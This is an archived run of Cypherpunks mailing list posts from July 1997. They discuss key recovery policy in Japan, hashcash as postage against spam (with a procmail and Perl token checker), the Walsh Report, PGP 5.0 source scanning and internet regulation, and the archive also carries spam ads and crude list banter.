>   Were the Viper Militia readying "plans of resistance," as recommended by
> Mr. Madison? Would the Constitution ever have been ratified, had Mr.
> Madison and his fellow federalists warned the citizens that such
> non-violent preparations would get their weapons seized, and land them in
> jail for decades?
> 
>   Happy Fourth of July.
> 
> Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
> Review-Journal. Readers may contact him via e-mail at vin at lvrj.com. The web
> site for the Suprynowicz column is at http://www.nguworld.com/vindex/.

  Is it still legal to say this stuff? Perhaps we need a new law that...

TruthMonger






From jito at eccosys.com  Fri Jul  4 18:21:02 1997
From: jito at eccosys.com (Joichi Ito)
Date: Sat, 5 Jul 1997 09:21:02 +0800
Subject: Key Recovery Policy in Japan
Message-ID: <199707050110.KAA14212@eccosys.com>



Hi folks. I'm on a Japanese National Police Agency study group board working
on proposals for Key Recovery policy in Japan. The only documents that
are currently being reviewed are rather official OECD type documents
from the US and I am trying to find other opinions (technical, legal,
political) which I can add to the reports/documents being reviewed by
the panel.

Any pointers or opinions would be greatly appreciated. My deadline for
submitting materials is 7/11 and I will be giving my verbal opinions
on 7/28.

Thanks in advance.

 - Joi

P.S. I am also working with politicians, the Ministry of Posts and Telecom,
The Ministry of International Trade and Industry, and several other
ministries as well in similar policy areas. So even after 7/11, please
point me at anything (or point anything at me) that you would like the
Japanese policy makers to consider. Lots of stuff is currently being
reviewed in Japan in this area in the wake of the stuff going on the
US.

--
home page: http://domino.garage.co.jp/jito/joihome.nsf
bithaus: http://www.bithaus.co.jp/




From nobody at REPLAY.COM  Fri Jul  4 19:41:20 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 5 Jul 1997 10:41:20 +0800
Subject: Key Recovery Policy in Japan
Message-ID: <199707050229.EAA20948@basement.replay.com>



Joichi Ito wrote:
> 
> Hi folks. I'm on a Japanese National Police Agency study group board working
> on proposals for Key Recovery policy in Japan. The only documents that
> are currently being reviewed are rather official OECD type documents
> from the US and I am trying to find other opinions (technical, legal,
> political) which I can add to the reports/documents being reviewed by
> the panel.

{Excerpt from "The Xenix Chainsaw Massacre" (c) 1989, Pearl Publishing}
http://bureau42.base.org/public/xenix

We now live in an age where, in between the slumber of the soap operas
and the bewitchment of 'prime time,' we are fed our opinions and our
world-views in catch-phrases and ten second sound-bytes. 

At the same time, Gomez sees to it that there is enough trouble and
turmoil in the world that the World Leaders, even in democracies, can
chip away at human and individual rights under the guise of dealing 
with various 'threats' that they, themselves, have concocted as a 
means of retaining power over the masses. 

Even as the governments of the world strive to bring everyone and 
everything, however minute, under tight control and regulation, Gomez 
and the Dark Allies are behind the scenes, helping to guide the 
development of a technology that will, along with television, be the
ultimate weapon in their struggle for the domination of all mankind--the
Computer.

The rich and powerful have managed to lull us to sleep with the 
hypnotizing power of television---stealing our thoughts and our 
reasoning processes in our slumber, feeding us our reality via the 
airwaves...according to the 'official' party line. 

The government and the media have placed us on neat little shelves 
where we are numbered and labeled according to their own wants and 
needs. We are allowed the illusion of freedom of thought, and individual
choice, as long as we have our 'Freedom of Thought Permit 1136.51.709'
and don't stray too far from the permitted paths. 

In the great battles of the past the Dark Forces have always been 
beaten by the individuals scattered in the secret places, living 
unnoticed in obscurity. Living quietly and unobtrusively, forgotten 
about in the madness storming the land, they have kept alive the spark
of Thought and Reason. They were able to go quietly about their work, 
making contact with the individuals who were ready to escape the madness
and work towards restoring Sanity in the land.

This time there will be no escape. Every man, woman and child on the 
face of the earth will have a dossier documenting their life from the 
time of their arrival on the face of the planet.
Information gleaned from the Department of Motor Vehicles, their Social
Security Number, banks, credit cards, magazine subscriptions, charitable
and political contributions. 

When Gomez removes the masks of his human allies, revealing them as 
dark agents who have been rewarded with wealth and power for doing the 
bidding of the Evil One, the names of the misfits and wrong-thinkers 
will be spit out of the computers at the speed of light---to be rounded
up and disposed of in the opening salvo of the new Holocaust. 

Only then will the final Battle of Armageddon begin, ravaging the face
of the earth and devouring humanity; bringing total control of humankind
under the Dominion of the Evil One, with nobody but the Waking Dead left
to carry on the human race. 

          ***     ***    ***

{Excerpt from "Webworld" (c) 1997, Pearl Publishing}
http://bureau42.base.org/public/webworld

        Prologue to 'WebWorld & The Mythical Circle of Eunuchs'


The great tragedy of it, is that it didn't have to happen. Not at 
all...we were warned.
And yet, still, it has come to this. 

I don't know why I feel this overwhelming compulsion to go on and on 
about it. I could have done something.
We all could have done something.

Perhaps the final epitaph on the gravestone of Freedom will be, 
"Why didn't somebody _do_ something?" 

That seems to be the common battle-cry of the legions of humanity that 
have been sucked into the vortex of the New World Order.
None of the imprisoned seem to know that the very phrase itself is 
reflective of the source of their imprisonment...that this desperate 
cry of anguish is in no way an antidote for the terrible disease that
has afflicted 'Liberty and Justice', and that it is, rather, merely the
final symptom of the cursed blight itself. 

I can hear the rumbling of the trucks as they come up the street, and 
soon I will be hearing the thumping of the jackboots storming up the
staircase, as I have heard them so many times before. But I suspect 
that this time, the sound will be different, that it will have an 
ethereal quality about it, one which conveys greater personal meaning
than it did when I heard it on previous occasions.
This time, they are coming for me. 

My only hope, is that I can find the strength of character somewhere 
inside myself to ask the question which lies at the heart of why there
is a 'they' to come for me at all...why, in the end, it has finally 
come to this for me, as for countless others. 

The question is, in retrospect, as simple and basic as it is essential
for any who still espouse the concepts of freedom and liberty to ask 
themselves upon finding themselves marveling at the outrageousness 
being perpetrated upon their neighbors by 'them'...by 'others'...by 
'Friends of the Destroyer.' 

                                 The question is:
                            "Why didn't _I_ do something?"






From froomkin at law.miami.edu  Fri Jul  4 21:12:30 1997
From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law)
Date: Sat, 5 Jul 1997 12:12:30 +0800
Subject: Key Recovery Policy in Japan
In-Reply-To: <199707050110.KAA14212@eccosys.com>
Message-ID: 



Greetings!

In addition to 
http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm

I suggest

http://www.crypto.com/key_study/report.shtml

Also, other interesting links from

http://www.crypto.com


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | froomkin at law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's @%#$%$# hot here. 







From nobody at REPLAY.COM  Fri Jul  4 21:42:05 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 5 Jul 1997 12:42:05 +0800
Subject: Welcome to Cypherpunks! / Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: <199707050423.GAA04323@basement.replay.com>



On Fri, Jul 04, 1997 at 04:02:30PM -0400, Robert Hettinga wrote:
> At 2:19 pm -0400 on 7/4/97, Cypherpunks wrote:
> 
> 
> > ----------------------------------------------------------------------
> > Personal Note to Level 2 Entrants from Robert Hettinga, e$Czar:
> >   "Don't bother giving me credit for my quotes. Nobody else does, and
> > I'm used to blowing my own horn, anyway."
> > ----------------------------------------------------------------------
> 
> Say 'amen', somebody.
> 
> Oh. I just did, didn't I?
> 
> Never mind...
> 
> Ironically,
> Bob Hettinga

Robert Pettinga is also well known for the odd, brick-like shape of
his head, and his penchant for shoving it into dark places.

TruthMonger






From relay at relaynet.com  Sat Jul  5 14:37:39 1997
From: relay at relaynet.com (relay at relaynet.com)
Date: Sat, 5 Jul 1997 14:37:39 -0700 (PDT)
Subject: The easiest credit repair and improvement kit
Message-ID: <199707052127.QAA23148@mailhost.chicago.il.ameritech.net>


Hey Everybody!!!

If you will be applying for a mortgage (or, any other kind of
loan) soon, or, if you have been denied credit recently, or,
if you suspect that your credit report contains errors, you
will find this credit repair kit incredibly useful.

The easiest do-it-yourself credit repair kit, C-Repair, was
designed to help you get the top-notch credit rating - using
the same legal methods for which 'Credit Repair' attroneys
charge thousads of dollars. It can help you get Credit Cards
if you have been denied credit. It also provides information
on your rights and consumer credit related laws.

For more details visit us on the Web (Sometimes this site gets
very busy. If you get an error, just try us back at a later
time, or, e-mail us at the address given below). Our homepage
is http://www.digital-market.com/~usefulsoftware/. We can also
e-mail you a free, no obligation demo copy. Please e-mail us
at usefulsoftware at digital-market.com.

=============================================================
This is a one time mailing. We will not e-mail you at this
address again.
=============================================================






From randerso at ece.eng.wayne.edu  Sat Jul  5 00:30:50 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Sat, 5 Jul 1997 15:30:50 +0800
Subject: e$: $MTP?
In-Reply-To: 
Message-ID: 



On Fri, 4 Jul 1997, Robert Hettinga wrote:

> > We still need to work out how to fit mailing lists fit into this without
> > eliminating them entirely. Chargebacks to the subscribers?  If this list
> > will work in a proposed plan, I think all the others probably would as
> > well.. :-)
> 
> Send 'em collect? Postage due? :-).
> 
> Or, maybe people buy subscriptions? Of course, since you're collecting the
> postage, you owe it to yourself...
> 
> Curioser and curiouser...

Well, as a thought, I'm on BugTraq as well, and it periodically forces you
to renew your subscription to the list.  If everything required this (or
some sort of it) you could simply charge a large amount for the renewals,
based on expected cost over the next time period.  Your initial
subscription would be costed based upon the average of all the
subscribers.  

This might be the simplest way, though charging a bunch for a specific
message could be complicated..

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From nobody at REPLAY.COM  Sat Jul  5 02:09:48 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 5 Jul 1997 17:09:48 +0800
Subject: NoneRe: Liberating the Bits
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: <199707050902.LAA02031@basement.replay.com>



Tim May  wrote:

> I have copied to DAT (Digital Audio Tape) several hundred CDs. And a friend
> of mine has really gone overboard, copying more than 4000 CDs (rock, blues,
> jazz, country, you name it) onto more than 1000 DATs.
> 
> Given that a new CD typically costs about $16 US, and a blank DAT tape
> costs about $4 for a 3-hour tape, the savings are spectacular. (My friend
> uses a lot of the 4-hour DATs, but I don't trust them. They jam in some
> machines.)

You mean you don't just get the mp3 files off the internet like everyone
else?  :)

Why would anyone want to use DAT, when you can just stick the CD in your
computer and copy it.  Hard disks are so much faster than tapes, and when
you consider data compression, don't cost much more.

I have hundreds of songs on my computer and I can start playing any one of
them in about 2 seconds.  Plus I can search by title, etc...  Tapes are a
pain in the ass and I just use them for backups.






From paul at fatmans.demon.co.uk  Sat Jul  5 05:11:30 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 5 Jul 1997 20:11:30 +0800
Subject: e$: $MTP? (fwd)
In-Reply-To: 
Message-ID: 




> > Frankly, I see no other solution to this problem in the long run except for
> > postage, which means it's probably time to start figuring out, in earnest,
> > how to make it all work. Whoever becomes the lowest cost producer of this
> > kind of software stands to make a whole *bunch* of money.
> 
> We still need to work out how to fit mailing lists fit into this without
> eliminating them entirely. Chargebacks to the subscribers?  If this list
> will work in a proposed plan, I think all the others probably would as
> well.. :-)

I personally see hashcash as the ideal way to solve this problem, and in 
Adam Back`s analysis of the hashcash solution he mentions mailing lists 
and suggest that filtering software have an explicit "filter in" command, 
so you could eliminate any mail coming from the list from needing to have 
cash attached. Of course the spammers could then just spam mailing lists, 
but that it a much smaller problem than the current random UCE problem.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From rah at shipwright.com  Sat Jul  5 05:57:59 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 5 Jul 1997 20:57:59 +0800
Subject: Welcome to Cypherpunks! / Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: 



At 12:23 am -0400 on 7/5/97, TruthMonger wrote:


> Robert Pettinga is also well known for the odd, brick-like shape of
> his head, and his penchant for shoving it into dark places.

Lementing another missed felching opportunity, Mister Monger?

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From jya at pipeline.com  Sat Jul  5 06:30:47 1997
From: jya at pipeline.com (John Young)
Date: Sat, 5 Jul 1997 21:30:47 +0800
Subject: Walsh Report Update
Message-ID: <1.5.4.32.19970705130917.006a7104@pop.pipeline.com>



Forward:

Date: Sat, 05 Jul 1997 14:19:59 +1000
To: jya at pipeline.com
From: gtaylor at gil.com.au (Greg Taylor )
Subject: Walsh Report mirror

John,

Electronic Frontiers Australia has now been able to "officially" release the
Walsh Report, after negotiating copyright permissions.

It is now available at:

    http://www.efa.org.au/Issues/Crypto/Walsh/

There are two versions provided:

  1.  A multiple file version suited to reading online.
  2.  A complete version (267K HTML) suitable for downloading.

These versions have some updates from the original so I suggest you replace
your mirror version with the amended versions we have now released.  The
main changes are:

  1.  The Terms and Abbreviations section has now been marked up.
  2.  Paragraphs deleted from the copy liberated under FOI are now annotated
        with references to the relevant sections of the FOIA.
  3.  Minor typos corrected.


Regards,

Greg Taylor
Chair
EFA Crypto Committee

----------
  
The July 1 version of the Walsh Report at jya.com has been replaced 
with the EFA version:

   http://jya.com/walsh-all.htm (270K)

Or a Zip-compressed file:

     http://jya.com/walsh-all.zip (88K)

See related news article: 

    http://jya.com/walsh.htm






From rah at shipwright.com  Sat Jul  5 06:55:48 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 5 Jul 1997 21:55:48 +0800
Subject: InfoWorld discovers reputation capital
Message-ID: 




--- begin forwarded text


Date: Sat, 05 Jul 1997 09:00:32 -0400
From: Robert Hettinga 
Reply-To: rah at shipwright.com
Organization: The Shipwright Development Corporation
MIME-Version: 1.0
To: rah at shipwright.com
Subject: InfoWorld discovers reputation capital

http://www.infoworld.com/cgi-bin/displayStory.pl?97073.eabi.htm

Content-Type: text/plain; charset=us-ascii; name="displayStory.pl"
Content-Disposition: inline; filename="displayStory.pl"
X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com id
IAA11662

[Image] [Click here to download free Microsoft Visual FoxPro tools!]

[| Navigational map -- for text only please go to the bottom of the page |]
[|Top News Stories|]

  ABI offers instant company background check on the Web

  By Lisa Moskowitz
  PC World Online

  Posted at 9:03 AM PT, Jul 3, 1997
  If you run a company, large or small, it's good practice to know
  exactly who you're doing business with before you sign any contracts.
  Now you can get the lowdown on potential partners online at a low
  price.

  American Business Credit, a division of American Business Information
  (ABI), sells reports on the credit of the more than 10 million
  businesses in the United States for $3 a pop. Reports include company
  name, address, phone number, fax number, number of employees, type of
  business, Standard Industrial Classification codes, estimated sales
  volume, names of competitors, branch and headquarter locations,
  Internet address, and credit rating. The rating is based on in-house
  research of public information conducted by ABI.

  "A lot of small businesses looking for initial credit screening up
  front come to our Web site," said Rich Chrostek, ABI general manager.
  "The Web service is good for small orders, between 20 and 50 a year,
  and there's no long-term contract involved."

  Customers can order one of ABI's Business Profiles by typing in the
  name of the business they wish to check on, registering as a user, and
  entering a credit card number. Within minutes they can view the
  profile online, then download and print it. The same information at
  the same price can be ordered by calling (888) 274-5325.

  Dun & Bradstreet, ABI's chief competitor, also offers credit reports
  via the Web, but only contract subscribers have access to the most
  comprehensive of its documents, Business Information Reports.
  Subscription fees vary according to customer needs.

  Dun & Bradstreet offers two types of credit profile on the Internet:
  the Business Background report for $20, and the Supplier Evaluation
  for $85. Although these reports are more expensive than ABI's Business
  Profiles, they contain different -- and sometimes more extensive --
  information.

  According to ABI's Chrostek, the company's Business Profile is the
  cheapest business credit report available on the Web.

  "We're giving a cost-effective snapshot of a business," he said.
  "We're a tool, not an end-all solution."

  ABI also sells a CD-ROM of Business Profiles, which is recommended for
  customers who need several hundred credit reports. The CD-ROM is
  updated quarterly and costs $595 for an annual license and 1,000
  profiles.

  American Business Information Inc. can be reached at
  http://www.lookupusa.com//.

  PC World Online, an InfoWorld Electric sister publication, can be
  reached at http://www.pcworld.com/.

                     Go to the Week's Top News Stories

 Please direct your comments to InfoWorld Electric News Editor Dana Gardner.

               Copyright � 1997 InfoWorld Publishing Company

     | SiteMap | Search | PageOne | Conferences | Reader/Ad Services |
         | Enterprise Careers | Opinions | Test Center | Features |
           | Forums | Interviews | InfoWorld Print | InfoQuote |

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From shamrock at netcom.com  Sat Jul  5 12:01:49 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 6 Jul 1997 03:01:49 +0800
Subject: Fuck the Fourth (and the First, Second....)
In-Reply-To: <199707050032.CAA08156@basement.replay.com>
Message-ID: <3.0.2.32.19970705114841.0075d240@netcom10.netcom.com>



At 02:32 AM 7/5/97 +0200, Anonymous wrote:
>  Adolph Hitler obviously understood what Noah Webster was writing
>about.
>If we could get the writings made into a TV movie (or a cartoon), there
>might be a minute chance to get the American public to understand, as
>well. 

A a good comic book primer might be "Grandpa Jack says: Gun Control Kills
Kids."

In the comic book, Grandpa Jack, while cleaning his AR-15, explains to his
grandchildren the origin of the tattoo on his arm and why the best and only
means of preventing tyranny is a "military style rifle" in every home.

I am taking 1,000 copies to HIP'97 :-) If you aren't going, get your copy
from Jews for the Preservation of Firearms Ownership.
Voice: (414) 769-0760
Fax  : (414) 483-8435


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From shamrock at netcom.com  Sat Jul  5 12:18:48 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 6 Jul 1997 03:18:48 +0800
Subject: PGP 5.0 source soon to be available for d/l
Message-ID: <3.0.2.32.19970705121145.006ff184@netcom10.netcom.com>



According to the International PGP Homepage, the scanning effort is making
good progress. 100% of the platform independent core (the part most of us
are interested in :) is scanned. 48% of said source is error corrected, up
from 18% a few days ago.

http://www.ifi.uio.no/pgp/


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From alan at ctrl-alt-del.com  Sat Jul  5 13:18:55 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Sun, 6 Jul 1997 04:18:55 +0800
Subject: CyberSitter "Encryption"
Message-ID: <3.0.2.32.19970705130949.03d16390@mail.teleport.com>



In reading one of the lawyer letters going back and forth between Peacefire
and SolidOak, one of them
 describes
the "encryption" used by the filter file in CyberSitter.

You are going to get a big chuckle out of this one...

The "encryption" is XORing each byte with 0x94!

Just when I thought my contempt for Millburn could not get any worse...

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From websp at wsp1.websp.com  Sun Jul  6 04:42:27 1997
From: websp at wsp1.websp.com (websp at wsp1.websp.com)
Date: Sun, 6 Jul 1997 04:42:27 -0700 (PDT)
Subject: Inexpensive Web Space
Message-ID: <199707061139.HAA06025@wsp1.websp.com>


We are a new company in the Internet Presence Provider business,
appropriately named The WebService Provider. We are looking for new
customers who need a place to host their web pages. We offer premium
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small amount of space to host your web pages for the same price as ours.  

Check out our web page at http://www.websp.com to sign up or for more
information.

Our prices:
Type:                   Monthly Fee:   Setup Fee:   Includes:    
Personal Account        $15            $0           20MB CGI 1 Email
Business Account        $25            $0           40MB CGI 5 Email
Virtual Domain          $0!!!          $30*         www.yourname.com 
Virtual Host            $0!!!          $30          yourname.websp.com
Shell Account           $10            $0           10MB 1 Email
Email Address           $5             $5           1 Email (pop or pine)
* excluding $100 InterNIC fee

Here are some questions we asked ourselves when starting up our web
hosting business.


Why you should have a web page for yourself or your business?

Having a web page gives you an inexpensive way to reach potentially
millions of people.  The World Wide Web is one of the fastest growing
mediums in today's society.  So, you only have the possiblity to reach
more people.  With a web page you can spread your ideas, services,
and products.  When you sign up for our service you not only get space for
your web pages on our server, but an email address that your net visitors
can respond to you at instantaneously.  You can can get feedback about
your page immediately through your email address.  


Why should your web page be hosted with The WebService Provider?

The WebService Provider has the invested its money in the fastest
technology available to us.  We have a Pentium Pro Web Server with 64MB of
RAM (soon to be 128MB), and a 10/mbs connection (almost 10 times the speed
of a T1) to our T3 (45 times the speed of a T1) provider.  Our connection
is solely dedicated to your web pages.  We don't have dial-in customers
bogging down the connection that is supposed to be for serving your web
pages.

We not only have the technical side, but if you have a problem we are here
to answer it.  All email is responded to the same day, and if we don't
have an answer for you, we'll get back to you the same day letting you
know what the story is.  All of our employees have an extensive background
in the Internet and in system administration.


Why should you sign up with The WebService Provider and not your current
Internet Service Provider?

If you sign up for web space at your current ISP, and you move, so does
your web page and your email address.  With the WebService Provider your
web page address (url) and email address never change no matter what ISP
you sign up with.


Please visit our web page at www.websp.com, we look forward to hearing
from you.  If you want more information about us or the services we
provide feel free to email us at info at websp.com (human email).

Thanks,
The WebService Provider

***
If you did not want to recieve this message don't worry we will never
send it to you again.  Sorry!





From ballman at t-1net.com  Sun Jul  6 05:35:35 1997
From: ballman at t-1net.com (ballman at t-1net.com)
Date: Sun, 6 Jul 1997 05:35:35 -0700 (PDT)
Subject: golf stuff
Message-ID: <>





=====> WE WANT YOU TO KNOW MORE ABOUT GOLF BALLS <=======

Lets Take Air For Example....

All of us know how tough it is to hit a good shot in windy conditions.
We assume therefore that air is just another natural element we must
out wit in order to score well.  In reality, AIR is what makes it
possible for us the hit the ball as far as we do.  The SPIN we impart
on a ball actually gives the ball lift, much like the wing on an
aircraft imparts lift.  This lift makes it possible for the ball to
stay airborne longer, enabling it to travel farther.

In a vacuum, the average 250 yard drive would only travel about 180
yards.  A winged aircraft would not fly.

Air is your Friend....::))

Now here's one for you......Does a ball fly farther on a hot dry day
or cold wet day??....How about a hot humid day or a cold dry day ?

Let me know what you think.

Golfballs Unlimited USA reclaims balls from over 130 courses in 13 
states.  We stock over 50 varieties of balls.  If you're an average
player, by the time you have played 3 holes with a new ball, you are 
playing with a ball that's in much worse condition than our premium balls.

We offer the highest possible quality recycled balls available...at
direct pricing....HUGE SAVINGS over new balls.  Yes we have BALATAS.

Customer Satisfaction Is Absolutely Guaranteed.

If you would like a free catalog, just send me an email.

Click Here For Free Catalog


Regards,

Dana Jones
The Ballman
ballman at t1-net.com


Our Mission:  To Be The Best (As Determined By Our Customers)
Suppliers of Quality Recycled Golf Balls

BUY SELL TRADE


ps..I have worked carefully to see that this educational information goes only to
those who may have an interest. If you do not, please send me back an 
email with remove as the subject.  I will not mail to you again.







From ballman at t-1net.com  Sun Jul  6 05:35:35 1997
From: ballman at t-1net.com (ballman at t-1net.com)
Date: Sun, 6 Jul 1997 05:35:35 -0700 (PDT)
Subject: golf stuff
Message-ID: <>





=====> WE WANT YOU TO KNOW MORE ABOUT GOLF BALLS <=======

Lets Take Air For Example....

All of us know how tough it is to hit a good shot in windy conditions.
We assume therefore that air is just another natural element we must
out wit in order to score well.  In reality, AIR is what makes it
possible for us the hit the ball as far as we do.  The SPIN we impart
on a ball actually gives the ball lift, much like the wing on an
aircraft imparts lift.  This lift makes it possible for the ball to
stay airborne longer, enabling it to travel farther.

In a vacuum, the average 250 yard drive would only travel about 180
yards.  A winged aircraft would not fly.

Air is your Friend....::))

Now here's one for you......Does a ball fly farther on a hot dry day
or cold wet day??....How about a hot humid day or a cold dry day ?

Let me know what you think.

Golfballs Unlimited USA reclaims balls from over 130 courses in 13 
states.  We stock over 50 varieties of balls.  If you're an average
player, by the time you have played 3 holes with a new ball, you are 
playing with a ball that's in much worse condition than our premium balls.

We offer the highest possible quality recycled balls available...at
direct pricing....HUGE SAVINGS over new balls.  Yes we have BALATAS.

Customer Satisfaction Is Absolutely Guaranteed.

If you would like a free catalog, just send me an email.

Click Here For Free Catalog


Regards,

Dana Jones
The Ballman
ballman at t1-net.com


Our Mission:  To Be The Best (As Determined By Our Customers)
Suppliers of Quality Recycled Golf Balls

BUY SELL TRADE


ps..I have worked carefully to see that this educational information goes only to
those who may have an interest. If you do not, please send me back an 
email with remove as the subject.  I will not mail to you again.







From nobody at secret.squirrel.owl.de  Sat Jul  5 15:52:10 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Sun, 6 Jul 1997 06:52:10 +0800
Subject: procmail and hashcash
Message-ID: <19970705222102.8853.qmail@squirrel.owl.de>



PATH=/bin:/usr/bin:/usr/local/bin:$HOME/bin
MAILDIR=$HOME/Mail
LOGFILE=$HOME/.procmaillog
LOCKEXT=.lock
SHELL=/bin/sh

:0
* ^X-Hashcash-Coin:.*
{
	:0:
	* ? hashcash-email.pl
	mbox
}

:0:
* 1^1 ^From:.*president at whitehouse.gov
mbox

:0:
junk

-----------------------------------------------------

#!/usr/local/bin/perl
$status = 0;
$use_db = 1;
$validity = 28;
$num_bits = 19;
$hashcash_coin = "";
$hashcash_db = "$ENV{'HOME'}/.email_hashcash.db";
$hashcash_exec = "$ENV{'HOME'}/bin/hashcash";
$resource_name = "nobody\@foo.bar.com";

while(<>) {
	/X-Hashcash-Coin:.*\s(.+)/ && do {
		$hashcash_coin = $1;
		last;
	};
}
exit 1 if(!$hashcash_coin);
if($use_db) {
	$status = system $hashcash_exec,"-d","-f$hashcash_db","-$num_bits",$resource_name,$hashcash_coin,$validity;
} else {
	$status = system $hashcash_exec,"-$num_bits",$resource_name,$hashcash_coin,$validity;
}
$status = $status / 256;
exit $status;






From nobody at REPLAY.COM  Sat Jul  5 16:43:53 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 6 Jul 1997 07:43:53 +0800
Subject: Liberating the Bits
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: <199707052337.BAA11779@basement.replay.com>



Tim May  wrote:

> I have copied to DAT (Digital Audio Tape) several hundred CDs. And a friend
> of mine has really gone overboard, copying more than 4000 CDs (rock, blues,
> jazz, country, you name it) onto more than 1000 DATs.
> 
> Given that a new CD typically costs about $16 US, and a blank DAT tape
> costs about $4 for a 3-hour tape, the savings are spectacular. (My friend
> uses a lot of the 4-hour DATs, but I don't trust them. They jam in some
> machines.)

You mean you don't just get the mp3 files off the internet like everyone
else?  :)

Why would anyone want to use DAT, when you can just stick the CD in your
computer and copy it.  Hard disks are so much faster than tapes, and when
you consider data compression, don't cost much more.

I have hundreds of songs on my computer and I can start playing any one of
them in about 2 seconds.  Plus I can search by title, etc...  Tapes are a
pain in the ass and I just use them for backups.






From azur at netcom.com  Sat Jul  5 17:44:27 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 6 Jul 1997 08:44:27 +0800
Subject: Citizen's Line Item Veto (was Re: Just Say "No" to Congress)
In-Reply-To: <3.0.32.19970519010058.00685bdc@cnw.com>
Message-ID: 



At 5:13 PM +0000 5/19/97, Paul Bradley wrote:
>> On the other hand, he obviously believes in the authority of the US
>> government, as he has always supported it in arguments on the list,
>> especially in counter arguments against TCM.
>>
>> So, it appears that VZN is not *ready* to hold the government accountable,
>> preferring not to protest when his own money is withheld for him, but
>> hypocritically wondering when everyone will make this will happen.
>
>I made a point a while ago on this list, which I felt strongly was
>correct at the time and I still feel as strongly now but this argument
>draws parallels which made me think again:
>
>I stated that anyone who, in a situation of military conscription, fought
>for a country or a cause they did not believe in, simply to avoid
>punishment for refusal to fight, was a coward.
>
>I still believe this, but really taxation is simply paying the government
>to be your hitman for you, your tax money pays the governments barbaric
>killing and warmongering, you cannot wash your hands of this simply by
>arguing that you did not choose for the money to pay for a war, you have
>to draw the conclusion that by funding the government and the state you
>fund killing and violence elsewhere in the world.
>>
>It is a similar case with taxation, until enough people stop whinging and
>actually do something the state will tax as it sees fit, I`m not going to
>be the first to refuse payment on ethical grounds in peacetime, maybe I`m
>lacking in moral fibre, maybe I`m just a realist and think I can do more
>for the case of freedom outside of a 6'x9' cell.
>
>I wish all luck to those who do refuse to pay tax on moral and ethical
>grounds, they certainly have my admiration and I grant that they are
>probably of stronger stuff than I.
>

Since Congress passed a Presidential Line Item Veto, perhaps its time
citizens ask for the same priviledge and for the same reasons.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From nobody at REPLAY.COM  Sat Jul  5 20:07:45 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 6 Jul 1997 11:07:45 +0800
Subject: index.html
Message-ID: <199707060255.EAA08349@basement.replay.com>



On Fri, 4 Jul 1997, Jim Choate wrote:
>                   GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
>
>       graphic July 4, 1997
>      Web posted at: 4:10 p.m. EDT (2010 GMT)
>
>      BONN, Germany (AP) -- Germany on Friday became the first country to
>      pass a law regulating the free-wheeling global electronic space of
>      the Internet.

So does that mean Germany is regulating all of the Internet? Or just
networked computers and operators inside Germany?






